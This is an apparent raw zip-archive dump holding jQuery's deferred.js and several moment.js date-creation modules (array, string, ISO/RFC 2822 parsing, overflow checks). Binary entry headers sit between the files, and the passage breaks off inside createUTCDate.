		// parseFloat NaNs numeric-cast false positives ("")
		// ...but misinterprets leading-number strings, particularly hex literals ("0x...")
		// subtraction forces infinities to NaN
		!isNaN( obj - parseFloat( obj ) );
};

} );
PKh��\m�gĄ,�,deferred.jsnu�[���define( [
	"./core",
	"./var/isFunction",
	"./var/slice",
	"./callbacks"
], function( jQuery, isFunction, slice ) {

"use strict";

function Identity( v ) {
	return v;
}
function Thrower( ex ) {
	throw ex;
}

function adoptValue( value, resolve, reject, noValue ) {
	var method;

	try {

		// Check for promise aspect first to privilege synchronous behavior
		if ( value && isFunction( ( method = value.promise ) ) ) {
			method.call( value ).done( resolve ).fail( reject );

		// Other thenables
		} else if ( value && isFunction( ( method = value.then ) ) ) {
			method.call( value, resolve, reject );

		// Other non-thenables
		} else {

			// Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer:
			// * false: [ value ].slice( 0 ) => resolve( value )
			// * true: [ value ].slice( 1 ) => resolve()
			resolve.apply( undefined, [ value ].slice( noValue ) );
		}

	// For Promises/A+, convert exceptions into rejections
	// Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in
	// Deferred#then to conditionally suppress rejection.
	} catch ( value ) {

		// Support: Android 4.0 only
		// Strict mode functions invoked without .call/.apply get global-object context
		reject.apply( undefined, [ value ] );
	}
}

jQuery.extend( {

	Deferred: function( func ) {
		var tuples = [

				// action, add listener, callbacks,
				// ... .then handlers, argument index, [final state]
				[ "notify", "progress", jQuery.Callbacks( "memory" ),
					jQuery.Callbacks( "memory" ), 2 ],
				[ "resolve", "done", jQuery.Callbacks( "once memory" ),
					jQuery.Callbacks( "once memory" ), 0, "resolved" ],
				[ "reject", "fail", jQuery.Callbacks( "once memory" ),
					jQuery.Callbacks( "once memory" ), 1, "rejected" ]
			],
			state = "pending",
			promise = {
				state: function() {
					return state;
				},
				always: function() {
					deferred.done( arguments ).fail( arguments );
					return this;
				},
				"catch": function( fn ) {
					return promise.then( null, fn );
				},

				// Keep pipe for back-compat
				pipe: function( /* fnDone, fnFail, fnProgress */ ) {
					var fns = arguments;

					return jQuery.Deferred( function( newDefer ) {
						jQuery.each( tuples, function( i, tuple ) {

							// Map tuples (progress, done, fail) to arguments (done, fail, progress)
							var fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ];

							// deferred.progress(function() { bind to newDefer or newDefer.notify })
							// deferred.done(function() { bind to newDefer or newDefer.resolve })
							// deferred.fail(function() { bind to newDefer or newDefer.reject })
							deferred[ tuple[ 1 ] ]( function() {
								var returned = fn && fn.apply( this, arguments );
								if ( returned && isFunction( returned.promise ) ) {
									returned.promise()
										.progress( newDefer.notify )
										.done( newDefer.resolve )
										.fail( newDefer.reject );
								} else {
									newDefer[ tuple[ 0 ] + "With" ](
										this,
										fn ? [ returned ] : arguments
									);
								}
							} );
						} );
						fns = null;
					} ).promise();
				},
				then: function( onFulfilled, onRejected, onProgress ) {
					var maxDepth = 0;
					function resolve( depth, deferred, handler, special ) {
						return function() {
							var that = this,
								args = arguments,
								mightThrow = function() {
									var returned, then;

									// Support: Promises/A+ section 2.3.3.3.3
									// https://promisesaplus.com/#point-59
									// Ignore double-resolution attempts
									if ( depth < maxDepth ) {
										return;
									}

									returned = handler.apply( that, args );

									// Support: Promises/A+ section 2.3.1
									// https://promisesaplus.com/#point-48
									if ( returned === deferred.promise() ) {
										throw new TypeError( "Thenable self-resolution" );
									}

									// Support: Promises/A+ sections 2.3.3.1, 3.5
									// https://promisesaplus.com/#point-54
									// https://promisesaplus.com/#point-75
									// Retrieve `then` only once
									then = returned &&

										// Support: Promises/A+ section 2.3.4
										// https://promisesaplus.com/#point-64
										// Only check objects and functions for thenability
										( typeof returned === "object" ||
											typeof returned === "function" ) &&
										returned.then;

									// Handle a returned thenable
									if ( isFunction( then ) ) {

										// Special processors (notify) just wait for resolution
										if ( special ) {
											then.call(
												returned,
												resolve( maxDepth, deferred, Identity, special ),
												resolve( maxDepth, deferred, Thrower, special )
											);

										// Normal processors (resolve) also hook into progress
										} else {

											// ...and disregard older resolution values
											maxDepth++;

											then.call(
												returned,
												resolve( maxDepth, deferred, Identity, special ),
												resolve( maxDepth, deferred, Thrower, special ),
												resolve( maxDepth, deferred, Identity,
													deferred.notifyWith )
											);
										}

									// Handle all other returned values
									} else {

										// Only substitute handlers pass on context
										// and multiple values (non-spec behavior)
										if ( handler !== Identity ) {
											that = undefined;
											args = [ returned ];
										}

										// Process the value(s)
										// Default process is resolve
										( special || deferred.resolveWith )( that, args );
									}
								},

								// Only normal processors (resolve) catch and reject exceptions
								process = special ?
									mightThrow :
									function() {
										try {
											mightThrow();
										} catch ( e ) {

											if ( jQuery.Deferred.exceptionHook ) {
												jQuery.Deferred.exceptionHook( e,
													process.stackTrace );
											}

											// Support: Promises/A+ section 2.3.3.3.4.1
											// https://promisesaplus.com/#point-61
											// Ignore post-resolution exceptions
											if ( depth + 1 >= maxDepth ) {

												// Only substitute handlers pass on context
												// and multiple values (non-spec behavior)
												if ( handler !== Thrower ) {
													that = undefined;
													args = [ e ];
												}

												deferred.rejectWith( that, args );
											}
										}
									};

							// Support: Promises/A+ section 2.3.3.3.1
							// https://promisesaplus.com/#point-57
							// Re-resolve promises immediately to dodge false rejection from
							// subsequent errors
							if ( depth ) {
								process();
							} else {

								// Call an optional hook to record the stack, in case of exception
								// since it's otherwise lost when execution goes async
								if ( jQuery.Deferred.getStackHook ) {
									process.stackTrace = jQuery.Deferred.getStackHook();
								}
								window.setTimeout( process );
							}
						};
					}

					return jQuery.Deferred( function( newDefer ) {

						// progress_handlers.add( ... )
						tuples[ 0 ][ 3 ].add(
							resolve(
								0,
								newDefer,
								isFunction( onProgress ) ?
									onProgress :
									Identity,
								newDefer.notifyWith
							)
						);

						// fulfilled_handlers.add( ... )
						tuples[ 1 ][ 3 ].add(
							resolve(
								0,
								newDefer,
								isFunction( onFulfilled ) ?
									onFulfilled :
									Identity
							)
						);

						// rejected_handlers.add( ... )
						tuples[ 2 ][ 3 ].add(
							resolve(
								0,
								newDefer,
								isFunction( onRejected ) ?
									onRejected :
									Thrower
							)
						);
					} ).promise();
				},

				// Get a promise for this deferred
				// If obj is provided, the promise aspect is added to the object
				promise: function( obj ) {
					return obj != null ? jQuery.extend( obj, promise ) : promise;
				}
			},
			deferred = {};

		// Add list-specific methods
		jQuery.each( tuples, function( i, tuple ) {
			var list = tuple[ 2 ],
				stateString = tuple[ 5 ];

			// promise.progress = list.add
			// promise.done = list.add
			// promise.fail = list.add
			promise[ tuple[ 1 ] ] = list.add;

			// Handle state
			if ( stateString ) {
				list.add(
					function() {

						// state = "resolved" (i.e., fulfilled)
						// state = "rejected"
						state = stateString;
					},

					// rejected_callbacks.disable
					// fulfilled_callbacks.disable
					tuples[ 3 - i ][ 2 ].disable,

					// rejected_handlers.disable
					// fulfilled_handlers.disable
					tuples[ 3 - i ][ 3 ].disable,

					// progress_callbacks.lock
					tuples[ 0 ][ 2 ].lock,

					// progress_handlers.lock
					tuples[ 0 ][ 3 ].lock
				);
			}

			// progress_handlers.fire
			// fulfilled_handlers.fire
			// rejected_handlers.fire
			list.add( tuple[ 3 ].fire );

			// deferred.notify = function() { deferred.notifyWith(...) }
			// deferred.resolve = function() { deferred.resolveWith(...) }
			// deferred.reject = function() { deferred.rejectWith(...) }
			deferred[ tuple[ 0 ] ] = function() {
				deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments );
				return this;
			};

			// deferred.notifyWith = list.fireWith
			// deferred.resolveWith = list.fireWith
			// deferred.rejectWith = list.fireWith
			deferred[ tuple[ 0 ] + "With" ] = list.fireWith;
		} );

		// Make the deferred a promise
		promise.promise( deferred );

		// Call given func if any
		if ( func ) {
			func.call( deferred, deferred );
		}

		// All done!
		return deferred;
	},

	// Deferred helper
	when: function( singleValue ) {
		var

			// count of uncompleted subordinates
			remaining = arguments.length,

			// count of unprocessed arguments
			i = remaining,

			// subordinate fulfillment data
			resolveContexts = Array( i ),
			resolveValues = slice.call( arguments ),

			// the master Deferred
			master = jQuery.Deferred(),

			// subordinate callback factory
			updateFunc = function( i ) {
				return function( value ) {
					resolveContexts[ i ] = this;
					resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;
					if ( !( --remaining ) ) {
						master.resolveWith( resolveContexts, resolveValues );
					}
				};
			};

		// Single- and empty arguments are adopted like Promise.resolve
		if ( remaining <= 1 ) {
			adoptValue( singleValue, master.done( updateFunc( i ) ).resolve, master.reject,
				!remaining );

			// Use .then() to unwrap secondary thenables (cf. gh-3000)
			if ( master.state() === "pending" ||
				isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) {

				return master.then();
			}
		}

		// Multiple arguments are aggregated like Promise.all array elements
		while ( i-- ) {
			adoptValue( resolveValues[ i ], updateFunc( i ), master.reject );
		}

		return master.promise();
	}
} );

return jQuery;
} );
PK.��\j:�==lib/create/from-array.jsnu�[���import { hooks } from '../utils/hooks';
import { createDate, createUTCDate } from './date-from-array';
import { daysInYear } from '../units/year';
import { weekOfYear, weeksInYear, dayOfYearFromWeeks } from '../units/week-calendar-utils';
import { YEAR, MONTH, DATE, HOUR, MINUTE, SECOND, MILLISECOND } from '../units/constants';
import { createLocal } from './local';
import defaults from '../utils/defaults';
import getParsingFlags from './parsing-flags';

function currentDateArray(config) {
    // hooks is actually the exported moment object
    var nowValue = new Date(hooks.now());
    if (config._useUTC) {
        return [nowValue.getUTCFullYear(), nowValue.getUTCMonth(), nowValue.getUTCDate()];
    }
    return [nowValue.getFullYear(), nowValue.getMonth(), nowValue.getDate()];
}

// convert an array to a date.
// the array should mirror the parameters below
// note: all values past the year are optional and will default to the lowest possible value.
// [year, month, day , hour, minute, second, millisecond]
export function configFromArray (config) {
    var i, date, input = [], currentDate, expectedWeekday, yearToUse;

    if (config._d) {
        return;
    }

    currentDate = currentDateArray(config);

    //compute day of the year from weeks and weekdays
    if (config._w && config._a[DATE] == null && config._a[MONTH] == null) {
        dayOfYearFromWeekInfo(config);
    }

    //if the day of the year is set, figure out what it is
    if (config._dayOfYear != null) {
        yearToUse = defaults(config._a[YEAR], currentDate[YEAR]);

        if (config._dayOfYear > daysInYear(yearToUse) || config._dayOfYear === 0) {
            getParsingFlags(config)._overflowDayOfYear = true;
        }

        date = createUTCDate(yearToUse, 0, config._dayOfYear);
        config._a[MONTH] = date.getUTCMonth();
        config._a[DATE] = date.getUTCDate();
    }

    // Default to current date.
    // * if no year, month, day of month are given, default to today
    // * if day of month is given, default month and year
    // * if month is given, default only year
    // * if year is given, don't default anything
    for (i = 0; i < 3 && config._a[i] == null; ++i) {
        config._a[i] = input[i] = currentDate[i];
    }

    // Zero out whatever was not defaulted, including time
    for (; i < 7; i++) {
        config._a[i] = input[i] = (config._a[i] == null) ? (i === 2 ? 1 : 0) : config._a[i];
    }

    // Check for 24:00:00.000
    if (config._a[HOUR] === 24 &&
            config._a[MINUTE] === 0 &&
            config._a[SECOND] === 0 &&
            config._a[MILLISECOND] === 0) {
        config._nextDay = true;
        config._a[HOUR] = 0;
    }

    config._d = (config._useUTC ? createUTCDate : createDate).apply(null, input);
    expectedWeekday = config._useUTC ? config._d.getUTCDay() : config._d.getDay();

    // Apply timezone offset from input. The actual utcOffset can be changed
    // with parseZone.
    if (config._tzm != null) {
        config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm);
    }

    if (config._nextDay) {
        config._a[HOUR] = 24;
    }

    // check for mismatching day of week
    if (config._w && typeof config._w.d !== 'undefined' && config._w.d !== expectedWeekday) {
        getParsingFlags(config).weekdayMismatch = true;
    }
}

function dayOfYearFromWeekInfo(config) {
    var w, weekYear, week, weekday, dow, doy, temp, weekdayOverflow;

    w = config._w;
    if (w.GG != null || w.W != null || w.E != null) {
        dow = 1;
        doy = 4;

        // TODO: We need to take the current isoWeekYear, but that depends on
        // how we interpret now (local, utc, fixed offset). So create
        // a now version of current config (take local/utc/offset flags, and
        // create now).
        weekYear = defaults(w.GG, config._a[YEAR], weekOfYear(createLocal(), 1, 4).year);
        week = defaults(w.W, 1);
        weekday = defaults(w.E, 1);
        if (weekday < 1 || weekday > 7) {
            weekdayOverflow = true;
        }
    } else {
        dow = config._locale._week.dow;
        doy = config._locale._week.doy;

        var curWeek = weekOfYear(createLocal(), dow, doy);

        weekYear = defaults(w.gg, config._a[YEAR], curWeek.year);

        // Default to current week.
        week = defaults(w.w, curWeek.week);

        if (w.d != null) {
            // weekday -- low day numbers are considered next week
            weekday = w.d;
            if (weekday < 0 || weekday > 6) {
                weekdayOverflow = true;
            }
        } else if (w.e != null) {
            // local weekday -- counting starts from begining of week
            weekday = w.e + dow;
            if (w.e < 0 || w.e > 6) {
                weekdayOverflow = true;
            }
        } else {
            // default to begining of week
            weekday = dow;
        }
    }
    if (week < 1 || week > weeksInYear(weekYear, dow, doy)) {
        getParsingFlags(config)._overflowWeeks = true;
    } else if (weekdayOverflow != null) {
        getParsingFlags(config)._overflowWeekday = true;
    } else {
        temp = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy);
        config._a[YEAR] = temp.year;
        config._dayOfYear = temp.dayOfYear;
    }
}
PK.��\�P	<<lib/create/check-overflow.jsnu�[���import { daysInMonth } from '../units/month';
import { YEAR, MONTH, DATE, HOUR, MINUTE, SECOND, MILLISECOND, WEEK, WEEKDAY } from '../units/constants';
import getParsingFlags from '../create/parsing-flags';

export default function checkOverflow (m) {
    var overflow;
    var a = m._a;

    if (a && getParsingFlags(m).overflow === -2) {
        overflow =
            a[MONTH]       < 0 || a[MONTH]       > 11  ? MONTH :
            a[DATE]        < 1 || a[DATE]        > daysInMonth(a[YEAR], a[MONTH]) ? DATE :
            a[HOUR]        < 0 || a[HOUR]        > 24 || (a[HOUR] === 24 && (a[MINUTE] !== 0 || a[SECOND] !== 0 || a[MILLISECOND] !== 0)) ? HOUR :
            a[MINUTE]      < 0 || a[MINUTE]      > 59  ? MINUTE :
            a[SECOND]      < 0 || a[SECOND]      > 59  ? SECOND :
            a[MILLISECOND] < 0 || a[MILLISECOND] > 999 ? MILLISECOND :
            -1;

        if (getParsingFlags(m)._overflowDayOfYear && (overflow < YEAR || overflow > DATE)) {
            overflow = DATE;
        }
        if (getParsingFlags(m)._overflowWeeks && overflow === -1) {
            overflow = WEEK;
        }
        if (getParsingFlags(m)._overflowWeekday && overflow === -1) {
            overflow = WEEKDAY;
        }

        getParsingFlags(m).overflow = overflow;
    }

    return m;
}

PK.��\�Ҏ���lib/create/from-string.jsnu�[���import { configFromStringAndFormat } from './from-string-and-format';
import { createUTCDate } from './date-from-array';
import { configFromArray } from './from-array';
import { hooks } from '../utils/hooks';
import { deprecate } from '../utils/deprecate';
import getParsingFlags from './parsing-flags';
import {defaultLocaleMonthsShort} from '../units/month';
import {defaultLocaleWeekdaysShort} from '../units/day-of-week';

// iso 8601 regex
// 0000-00-00 0000-W00 or 0000-W00-0 + T + 00 or 00:00 or 00:00:00 or 00:00:00.000 + +00:00 or +0000 or +00)
var extendedIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/;
var basicIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/;

var tzRegex = /Z|[+-]\d\d(?::?\d\d)?/;

var isoDates = [
    ['YYYYYY-MM-DD', /[+-]\d{6}-\d\d-\d\d/],
    ['YYYY-MM-DD', /\d{4}-\d\d-\d\d/],
    ['GGGG-[W]WW-E', /\d{4}-W\d\d-\d/],
    ['GGGG-[W]WW', /\d{4}-W\d\d/, false],
    ['YYYY-DDD', /\d{4}-\d{3}/],
    ['YYYY-MM', /\d{4}-\d\d/, false],
    ['YYYYYYMMDD', /[+-]\d{10}/],
    ['YYYYMMDD', /\d{8}/],
    // YYYYMM is NOT allowed by the standard
    ['GGGG[W]WWE', /\d{4}W\d{3}/],
    ['GGGG[W]WW', /\d{4}W\d{2}/, false],
    ['YYYYDDD', /\d{7}/]
];

// iso time formats and regexes
var isoTimes = [
    ['HH:mm:ss.SSSS', /\d\d:\d\d:\d\d\.\d+/],
    ['HH:mm:ss,SSSS', /\d\d:\d\d:\d\d,\d+/],
    ['HH:mm:ss', /\d\d:\d\d:\d\d/],
    ['HH:mm', /\d\d:\d\d/],
    ['HHmmss.SSSS', /\d\d\d\d\d\d\.\d+/],
    ['HHmmss,SSSS', /\d\d\d\d\d\d,\d+/],
    ['HHmmss', /\d\d\d\d\d\d/],
    ['HHmm', /\d\d\d\d/],
    ['HH', /\d\d/]
];

var aspNetJsonRegex = /^\/?Date\((\-?\d+)/i;

// date from iso format
export function configFromISO(config) {
    var i, l,
        string = config._i,
        match = extendedIsoRegex.exec(string) || basicIsoRegex.exec(string),
        allowTime, dateFormat, timeFormat, tzFormat;

    if (match) {
        getParsingFlags(config).iso = true;

        for (i = 0, l = isoDates.length; i < l; i++) {
            if (isoDates[i][1].exec(match[1])) {
                dateFormat = isoDates[i][0];
                allowTime = isoDates[i][2] !== false;
                break;
            }
        }
        if (dateFormat == null) {
            config._isValid = false;
            return;
        }
        if (match[3]) {
            for (i = 0, l = isoTimes.length; i < l; i++) {
                if (isoTimes[i][1].exec(match[3])) {
                    // match[2] should be 'T' or space
                    timeFormat = (match[2] || ' ') + isoTimes[i][0];
                    break;
                }
            }
            if (timeFormat == null) {
                config._isValid = false;
                return;
            }
        }
        if (!allowTime && timeFormat != null) {
            config._isValid = false;
            return;
        }
        if (match[4]) {
            if (tzRegex.exec(match[4])) {
                tzFormat = 'Z';
            } else {
                config._isValid = false;
                return;
            }
        }
        config._f = dateFormat + (timeFormat || '') + (tzFormat || '');
        configFromStringAndFormat(config);
    } else {
        config._isValid = false;
    }
}

// RFC 2822 regex: For details see https://tools.ietf.org/html/rfc2822#section-3.3
var rfc2822 = /^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/;

function extractFromRFC2822Strings(yearStr, monthStr, dayStr, hourStr, minuteStr, secondStr) {
    var result = [
        untruncateYear(yearStr),
        defaultLocaleMonthsShort.indexOf(monthStr),
        parseInt(dayStr, 10),
        parseInt(hourStr, 10),
        parseInt(minuteStr, 10)
    ];

    if (secondStr) {
        result.push(parseInt(secondStr, 10));
    }

    return result;
}

function untruncateYear(yearStr) {
    var year = parseInt(yearStr, 10);
    if (year <= 49) {
        return 2000 + year;
    } else if (year <= 999) {
        return 1900 + year;
    }
    return year;
}

function preprocessRFC2822(s) {
    // Remove comments and folding whitespace and replace multiple-spaces with a single space
    return s.replace(/\([^)]*\)|[\n\t]/g, ' ').replace(/(\s\s+)/g, ' ').replace(/^\s\s*/, '').replace(/\s\s*$/, '');
}

function checkWeekday(weekdayStr, parsedInput, config) {
    if (weekdayStr) {
        // TODO: Replace the vanilla JS Date object with an indepentent day-of-week check.
        var weekdayProvided = defaultLocaleWeekdaysShort.indexOf(weekdayStr),
            weekdayActual = new Date(parsedInput[0], parsedInput[1], parsedInput[2]).getDay();
        if (weekdayProvided !== weekdayActual) {
            getParsingFlags(config).weekdayMismatch = true;
            config._isValid = false;
            return false;
        }
    }
    return true;
}

var obsOffsets = {
    UT: 0,
    GMT: 0,
    EDT: -4 * 60,
    EST: -5 * 60,
    CDT: -5 * 60,
    CST: -6 * 60,
    MDT: -6 * 60,
    MST: -7 * 60,
    PDT: -7 * 60,
    PST: -8 * 60
};

function calculateOffset(obsOffset, militaryOffset, numOffset) {
    if (obsOffset) {
        return obsOffsets[obsOffset];
    } else if (militaryOffset) {
        // the only allowed military tz is Z
        return 0;
    } else {
        var hm = parseInt(numOffset, 10);
        var m = hm % 100, h = (hm - m) / 100;
        return h * 60 + m;
    }
}

// date and time from ref 2822 format
export function configFromRFC2822(config) {
    var match = rfc2822.exec(preprocessRFC2822(config._i));
    if (match) {
        var parsedArray = extractFromRFC2822Strings(match[4], match[3], match[2], match[5], match[6], match[7]);
        if (!checkWeekday(match[1], parsedArray, config)) {
            return;
        }

        config._a = parsedArray;
        config._tzm = calculateOffset(match[8], match[9], match[10]);

        config._d = createUTCDate.apply(null, config._a);
        config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm);

        getParsingFlags(config).rfc2822 = true;
    } else {
        config._isValid = false;
    }
}

// date from iso format or fallback
export function configFromString(config) {
    var matched = aspNetJsonRegex.exec(config._i);

    if (matched !== null) {
        config._d = new Date(+matched[1]);
        return;
    }

    configFromISO(config);
    if (config._isValid === false) {
        delete config._isValid;
    } else {
        return;
    }

    configFromRFC2822(config);
    if (config._isValid === false) {
        delete config._isValid;
    } else {
        return;
    }

    // Final attempt, use Input Fallback
    hooks.createFromInputFallback(config);
}

hooks.createFromInputFallback = deprecate(
    'value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), ' +
    'which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are ' +
    'discouraged and will be removed in an upcoming major release. Please refer to ' +
    'http://momentjs.com/guides/#/warnings/js-date/ for more info.',
    function (config) {
        config._d = new Date(config._i + (config._useUTC ? ' UTC' : ''));
    }
);
PK.��\���[��lib/create/parsing-flags.jsnu�[���function defaultParsingFlags() {
    // We need to deep clone this object.
    return {
        empty           : false,
        unusedTokens    : [],
        unusedInput     : [],
        overflow        : -2,
        charsLeftOver   : 0,
        nullInput       : false,
        invalidMonth    : null,
        invalidFormat   : false,
        userInvalidated : false,
        iso             : false,
        parsedDateParts : [],
        meridiem        : null,
        rfc2822         : false,
        weekdayMismatch : false
    };
}

export default function getParsingFlags(m) {
    if (m._pf == null) {
        m._pf = defaultParsingFlags();
    }
    return m._pf;
}
PK.��\Xך��#lib/create/from-string-and-array.jsnu�[���import { copyConfig } from '../moment/constructor';
import { configFromStringAndFormat } from './from-string-and-format';
import getParsingFlags from './parsing-flags';
import { isValid } from './valid';
import extend from '../utils/extend';

// date from string and array of format strings
export function configFromStringAndArray(config) {
    var tempConfig,
        bestMoment,

        scoreToBeat,
        i,
        currentScore;

    if (config._f.length === 0) {
        getParsingFlags(config).invalidFormat = true;
        config._d = new Date(NaN);
        return;
    }

    for (i = 0; i < config._f.length; i++) {
        currentScore = 0;
        tempConfig = copyConfig({}, config);
        if (config._useUTC != null) {
            tempConfig._useUTC = config._useUTC;
        }
        tempConfig._f = config._f[i];
        configFromStringAndFormat(tempConfig);

        if (!isValid(tempConfig)) {
            continue;
        }

        // if there is any input that was not parsed add a penalty for that format
        currentScore += getParsingFlags(tempConfig).charsLeftOver;

        //or tokens
        currentScore += getParsingFlags(tempConfig).unusedTokens.length * 10;

        getParsingFlags(tempConfig).score = currentScore;

        if (scoreToBeat == null || currentScore < scoreToBeat) {
            scoreToBeat = currentScore;
            bestMoment = tempConfig;
        }
    }

    extend(config, bestMoment || tempConfig);
}
PK.��\@zAo��lib/create/from-object.jsnu�[���import { normalizeObjectUnits } from '../units/aliases';
import { configFromArray } from './from-array';
import map from '../utils/map';

export function configFromObject(config) {
    if (config._d) {
        return;
    }

    var i = normalizeObjectUnits(config._i);
    config._a = map([i.year, i.month, i.day || i.date, i.hour, i.minute, i.second, i.millisecond], function (obj) {
        return obj && parseInt(obj, 10);
    });

    configFromArray(config);
}
PK.��\��Մ��$lib/create/from-string-and-format.jsnu�[���import { configFromISO, configFromRFC2822 } from './from-string';
import { configFromArray } from './from-array';
import { getParseRegexForToken }   from '../parse/regex';
import { addTimeToArrayFromToken } from '../parse/token';
import { expandFormat, formatTokenFunctions, formattingTokens } from '../format/format';
import checkOverflow from './check-overflow';
import { HOUR } from '../units/constants';
import { hooks } from '../utils/hooks';
import getParsingFlags from './parsing-flags';

// constant that refers to the ISO standard
hooks.ISO_8601 = function () {};

// constant that refers to the RFC 2822 form
hooks.RFC_2822 = function () {};

// date from string and format string
export function configFromStringAndFormat(config) {
    // TODO: Move this to another part of the creation flow to prevent circular deps
    if (config._f === hooks.ISO_8601) {
        configFromISO(config);
        return;
    }
    if (config._f === hooks.RFC_2822) {
        configFromRFC2822(config);
        return;
    }
    config._a = [];
    getParsingFlags(config).empty = true;

    // This array is used to make a Date, either with `new Date` or `Date.UTC`
    var string = '' + config._i,
        i, parsedInput, tokens, token, skipped,
        stringLength = string.length,
        totalParsedInputLength = 0;

    tokens = expandFormat(config._f, config._locale).match(formattingTokens) || [];

    for (i = 0; i < tokens.length; i++) {
        token = tokens[i];
        parsedInput = (string.match(getParseRegexForToken(token, config)) || [])[0];
        // console.log('token', token, 'parsedInput', parsedInput,
        //         'regex', getParseRegexForToken(token, config));
        if (parsedInput) {
            skipped = string.substr(0, string.indexOf(parsedInput));
            if (skipped.length > 0) {
                getParsingFlags(config).unusedInput.push(skipped);
            }
            string = string.slice(string.indexOf(parsedInput) + parsedInput.length);
            totalParsedInputLength += parsedInput.length;
        }
        // don't parse if it's not a known token
        if (formatTokenFunctions[token]) {
            if (parsedInput) {
                getParsingFlags(config).empty = false;
            }
            else {
                getParsingFlags(config).unusedTokens.push(token);
            }
            addTimeToArrayFromToken(token, parsedInput, config);
        }
        else if (config._strict && !parsedInput) {
            getParsingFlags(config).unusedTokens.push(token);
        }
    }

    // add remaining unparsed input length to the string
    getParsingFlags(config).charsLeftOver = stringLength - totalParsedInputLength;
    if (string.length > 0) {
        getParsingFlags(config).unusedInput.push(string);
    }

    // clear _12h flag if hour is <= 12
    if (config._a[HOUR] <= 12 &&
        getParsingFlags(config).bigHour === true &&
        config._a[HOUR] > 0) {
        getParsingFlags(config).bigHour = undefined;
    }

    getParsingFlags(config).parsedDateParts = config._a.slice(0);
    getParsingFlags(config).meridiem = config._meridiem;
    // handle meridiem
    config._a[HOUR] = meridiemFixWrap(config._locale, config._a[HOUR], config._meridiem);

    configFromArray(config);
    checkOverflow(config);
}


function meridiemFixWrap (locale, hour, meridiem) {
    var isPm;

    if (meridiem == null) {
        // nothing to do
        return hour;
    }
    if (locale.meridiemHour != null) {
        return locale.meridiemHour(hour, meridiem);
    } else if (locale.isPM != null) {
        // Fallback
        isPm = locale.isPM(meridiem);
        if (isPm && hour < 12) {
            hour += 12;
        }
        if (!isPm && hour === 12) {
            hour = 0;
        }
        return hour;
    } else {
        // this is not supposed to happen
        return hour;
    }
}
PK.��\�o�/
/
lib/create/from-anything.jsnu�[���import isArray from '../utils/is-array';
import isObject from '../utils/is-object';
import isObjectEmpty from '../utils/is-object-empty';
import isUndefined from '../utils/is-undefined';
import isNumber from '../utils/is-number';
import isDate from '../utils/is-date';
import map from '../utils/map';
import { createInvalid } from './valid';
import { Moment, isMoment } from '../moment/constructor';
import { getLocale } from '../locale/locales';
import { hooks } from '../utils/hooks';
import checkOverflow from './check-overflow';
import { isValid } from './valid';

import { configFromStringAndArray }  from './from-string-and-array';
import { configFromStringAndFormat } from './from-string-and-format';
import { configFromString }          from './from-string';
import { configFromArray }           from './from-array';
import { configFromObject }          from './from-object';

function createFromConfig (config) {
    var res = new Moment(checkOverflow(prepareConfig(config)));
    if (res._nextDay) {
        // Adding is smart enough around DST
        res.add(1, 'd');
        res._nextDay = undefined;
    }

    return res;
}

export function prepareConfig (config) {
    var input = config._i,
        format = config._f;

    config._locale = config._locale || getLocale(config._l);

    if (input === null || (format === undefined && input === '')) {
        return createInvalid({nullInput: true});
    }

    if (typeof input === 'string') {
        config._i = input = config._locale.preparse(input);
    }

    if (isMoment(input)) {
        return new Moment(checkOverflow(input));
    } else if (isDate(input)) {
        config._d = input;
    } else if (isArray(format)) {
        configFromStringAndArray(config);
    } else if (format) {
        configFromStringAndFormat(config);
    }  else {
        configFromInput(config);
    }

    if (!isValid(config)) {
        config._d = null;
    }

    return config;
}

function configFromInput(config) {
    var input = config._i;
    if (isUndefined(input)) {
        config._d = new Date(hooks.now());
    } else if (isDate(input)) {
        config._d = new Date(input.valueOf());
    } else if (typeof input === 'string') {
        configFromString(config);
    } else if (isArray(input)) {
        config._a = map(input.slice(0), function (obj) {
            return parseInt(obj, 10);
        });
        configFromArray(config);
    } else if (isObject(input)) {
        configFromObject(config);
    } else if (isNumber(input)) {
        // from milliseconds
        config._d = new Date(input);
    } else {
        hooks.createFromInputFallback(config);
    }
}

export function createLocalOrUTC (input, format, locale, strict, isUTC) {
    var c = {};

    if (locale === true || locale === false) {
        strict = locale;
        locale = undefined;
    }

    if ((isObject(input) && isObjectEmpty(input)) ||
            (isArray(input) && input.length === 0)) {
        input = undefined;
    }
    // object construction must be done this way.
    // https://github.com/moment/moment/issues/1423
    c._isAMomentObject = true;
    c._useUTC = c._isUTC = isUTC;
    c._l = locale;
    c._i = input;
    c._f = format;
    c._strict = strict;

    return createFromConfig(c);
}
PK.��\��Q���lib/create/date-from-array.jsnu�[���export function createDate (y, m, d, h, M, s, ms) {
    // can't just apply() to create a date:
    // https://stackoverflow.com/q/181348
    var date = new Date(y, m, d, h, M, s, ms);

    // the date constructor remaps years 0-99 to 1900-1999
    if (y < 100 && y >= 0 && isFinite(date.getFullYear())) {
        date.setFullYear(y);
    }
    return date;
}

export function createUTCDate (y) {
    var date = new Date(Date.UTC.apply(null, arguments));

    // the Date.UTC function remaps years 0-99 to 1900-1999
